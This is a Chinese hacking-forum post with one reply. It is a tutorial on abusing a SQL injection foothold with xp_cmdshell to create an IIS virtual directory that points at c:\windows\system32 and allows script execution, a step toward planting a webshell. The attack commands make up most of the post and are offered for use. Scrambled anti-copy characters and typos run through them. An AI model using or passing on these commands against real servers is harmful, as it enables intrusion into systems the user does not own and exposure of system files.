[原创教程] 如何SQL注入建立虚拟目录 SQL, 目录, 虚拟

平湖秋月

很多情况下我们都会遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，应该算是无意中发现了一招，感觉不错 整理下发上来给大家分享：" B6 n# C: x' B$ O4 i
  {8 J9 l) M3 I: H6 W
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'7 Q- \4 X3 w0 p# C6 Z( ]7 a
建立虚拟目录win,指向c:\windows\system32& {! a7 _0 e2 \4 v0 R  T, @
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'0 F* J8 C6 ^; v& R9 i3 x& y
让win句有解析asp脚本权限
( Q! F1 [+ T8 Y, d5 L9 ?6 N$ o/ d+ g, p, w; j
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"' G, W' Z% A2 L+ H& F2 [5 |/ V
删除虚拟目录。
' |+ d3 k, c- J' X: F找不到web绝对路径的一种解决办法，+ U# Q# |( x( J1 N
) Q9 n8 z0 v% D5 p0 R  M' n8 g
403错误，表示虚拟目录建好了。。

wmmy

呀  LZ好久不见你上了啊